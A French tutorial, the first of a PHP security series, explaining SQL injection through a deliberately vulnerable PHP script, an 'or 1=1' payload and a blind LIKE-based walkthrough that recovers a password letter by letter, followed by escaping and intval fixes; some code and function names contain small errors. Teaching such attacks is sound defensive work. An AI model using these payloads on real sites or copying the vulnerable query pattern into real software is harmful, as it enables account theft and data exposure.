Contribuez à SecuObs en envoyant des bitcoins ou des dogecoins.
Nouveaux articles (fr): 1pwnthhW21zdnQ5WucjmnF3pk9puT5fDF
Amélioration du site: 1hckU85orcGCm8A9hk67391LCy4ECGJca

Contribute to SecuObs by sending bitcoins or dogecoins.



[Sécurité et PHP - Partie 1] Les injections SQL

Par Rédaction, secuobs.com
Le 10/05/2008


Résumé : Les failles de type SQL Injection sont parmi les plus courantes au sein des applications Web. Les sites dynamiques interagissent avec des bases de données qui stockent les informations concernant les utilisateurs. Il est alors possible dans certains cas de manipuler les requêtes vers ces bases afin d'accéder à des informations souvent sensibles.



NDLR : ce document a été rédigé en 2006, certaines versions ainsi que certaines configurations des logiciels utilisés selon ces versions peuvent être différentes de celles qui sont mentionnées ; merci de vous reporter vers les sites officiels des projets en question en cas de problème.


Le langage utilisé pour communiquer entre un script PHP et une base de données, de type MySQL ( lien ) par exemple, est le Structured Query Language aussi connu sous l'acronyme SQL ( lien ).

Pour cela, l’application web doit créer dynamiquement une chaîne de caractères contenant la requête SQL puis l’envoyer vers la base de données. Cette chaîne de caractères peut comprendre des données entrées directement par les utilisateurs du site web.

En cas de mauvaise validation de ces données par l'application web, il est possible de détourner l’application de son utilisation initiale en insérant du code SQL au sein de ces entrées utilisateur.

Dans l’exemple suivant, un attaquant peut injecter son propre code SQL dans l’une des requêtes effectuées par le script PHP que l'on va étudier ci-dessous.

Premièrement, la base de données contient cette table SQL :

CREATE TABLE site_users(
id int,
pseudo varchar(32),
password varchar(32),
email varchar(80),
adresse varchar(200)
);



Le fichier « email.php » du site web est un script qui permet d’afficher l’email d’une personne par rapport à son numéro d’identifiant, voici le contenu de ce fichier :

<?
mySQL_connect('127.0.0.1', 'root', '');
mySQL_select_db('my_database');
$q = mySQL_query("SELECT email,pseudo FROM site_users WHERE id=".$_REQUEST[id]);
$r = mySQL_fetch_array($q) ;
echo "le mail de ".$r[pseudo];."est : ".$r[email];
?>



Sur le lien « site.com/email.php?id=45 », le site web affiche le message suivant « le mail de lambda est exemple@secuobs.com ». Maintenant on essaye une url telle que « site.com/email.php?id=45%20or%201=1 », le site web affiche alors le message « le mail de exemple est php@secuobs.com »

Lors de cette dernière requête le script PHP a en fait exécuté le code SQL suivant :

"SELECT email FROM site_users WHERE id=45 or 1=1".


La condition « 1=1 » étant toujours remplie, on a donc eu la possibilité d'injecter du code SQL, « exemple » étant un compte de test avec l’id 1 et « lambda » un autre compte de test avec l’id 45.

Si l’on essaye avec « id=999999999 » le serveur web affichera alors le message « le mail de est » , car il n’existe pas d’utilisateur avec un id équivalent à cette valeur de 99999999.

Il va être possible grâce à cette injection SQL de trouver le mot de passe d’un utilisateur donné avec une attaque de type bruteforce ( lien ).

A l’aide des opérateurs SQL ‘LIKE’ et ‘%’ , on va faire en sorte que la commande SQL suivante soit exécutée par le serveur web vers la base de données :

"SELECT email FROM site_users WHERE id=45 AND password LIKE ‘a%’"


Ce qui revient en fait à effectuer :

email.php ?id=45%20AND%20password%20LIKE%20’a%’


Cette commande SQL va alors retourner une réponse seulement si le champ id est égal à 45 et si le champ password commence par ‘a’ d’où l’intérêt de l'utilisation du ‘%’. Le mot de passe ne commence pas par ‘a’, le site affiche alors le message « le mail de est ».

On continue en testant plusieurs lettres jusqu'à obtenir un début de réponse de la part du serveur SQL via le serveur web, c'est-à-dire le message « le mail de lambda est exemple@secuobs.com».

Pour connaître la longueur du mot de passe il suffit d'en bruteforcer sa valeur à l’aide de :

email.php ?id=45%20AND 20LENGHT(password)=5


Dans cet exemple, on trouve la valeur 5 comme longueur du mot de passe.

On continue l’opération jusqu'à l'obtention du mot de passe de cet utilisateur :

Requête : email.php ?id=45%20AND%20password%20LIKE%20’a%’
Réponse : « le mail de est »

Requête : email.php ?id=45%20AND%20password%20LIKE%20’b%’
Réponse : « le mail de lambda est exemple@secuobs.com »

Requête : email.php ?id=45%20AND%20password%20LIKE%20’ba%’
Réponse : « le mail de est »

Requête : email.php ?id=45%20AND%20password%20LIKE%20’bb%’
Réponse : « le mail de est »

….

Requête : email.php ?id=45%20AND%20password%20LIKE%20’be%’
Réponse : « le mail de lambda est exemple@secuobs.com »

Requête : email.php ?id=45%20AND%20password%20LIKE%20’bea%’
Réponse : « le mail de lambda est exemple@secuobs.com »

Requête : email.php ?id=45%20AND%20password%20LIKE%20’beaa%’
Réponse : « le mail de est »

….

Requête : email.php ?id=45%20AND%20password%20LIKE%20’beac%’
Réponse : « le mail de lambda est exemple@secuobs.com »

Requête : email.php ?id=45%20AND%20password%20LIKE%20’beaca%’
Réponse : « le mail de est »



Requête : email.php ?id=45%20AND%20password%20LIKE%20’beach%’
Réponse : « le mail de lambda est exemple@secuobs.com »



Le mot de passe de l’utilisateur lambda est donc « beach ».


Pour sécuriser ce script, il aurait suffit de remplacer la requête SQL dans le script PHP par la ligne suivante :

$q = mySQL_query("SELECT email,pseudo FROM site_users WHERE id=".intval($_REQUEST[id]));


intval() retourne une valeur décimale entière,. on est alors certain qu’il n’y aura que des chiffres qui seront ajoutés à la requête SQL. Pour sécuriser une chaîne de caractère de ce type, il faut la placer entre ‘ ou " et vérifier que cette chaîne ne contient aucun de ces deux caractères.

Il est également possible d'utiliser les fonctions SQL_real_escape_string() et mySQL_escape_string() à cet effet.

La première est une fonction de la librairie MySQL et la seconde une fonction propre au langage PHP. Elles sont efficaces seulement si la valeur retournée est encadrée par des guillemets au sein de la requête SQL.

La deuxième fonction est cependant maintenant devenue obsolète et il est préférable d’utiliser la première citée.

Exemple d’un script sécurisé :

< ?

mySQL_connect('127.0.0.1', 'root', '');
mySQL_select_db('my_database');

$pseudo = $_REQUEST[pseudo] ;
if (get_magic_quotes_gpc()) {
$pseudo = stripslashes($pseudo);
}
$pseudo = mySQL_real_escape_string($pseudo) ;
$q = mySQL_query("SELECT email FROM site_users WHERE pseudo=’".$pseudo."’" );
$r = mySQL_fetch_array($q) ;
echo "le mail de ".$pseudo."est : ".$r[email];
?>



A noter que ces fonctions ne protègent pas contre l'utilisation des caractères % et _ ; ces caractères pouvant être utilisés avec les opérateurs LIKE, GRANT ou REVOKE.

La fonction MySQL_real_escape_string() nécessite en fait d’être déjà connecté a la base de données pour être utilisée sinon une valeur booléenne de type FALSE sera renvoyée par ses soins.

Dans cette exploitation de l’injection SQL, on considére que les magic quotes ( lien ) sont désactivés dans le fichier de configuration (php.ini) de PHP.

Magic quotes est activé par défaut dans les dernières versions de PHP ; cette option transforme les caractères 0x00 par \0 en ascii, ' par ’ et " par \".

Il existe cependant de nombreuses techniques et variantes pour l’exploitation d’une injection SQL même avec les magic quotes activés.


Autres ressources dans ce dossier :

[Sécurité et PHP - Partie 2] La gestion des sessions – lien

[Sécurité et PHP - Partie 3] Les failles PHP – lien

[Sécurité et PHP - Partie 4] RPVS – lien

[Sécurité et PHP - Partie 5] Astuces – lien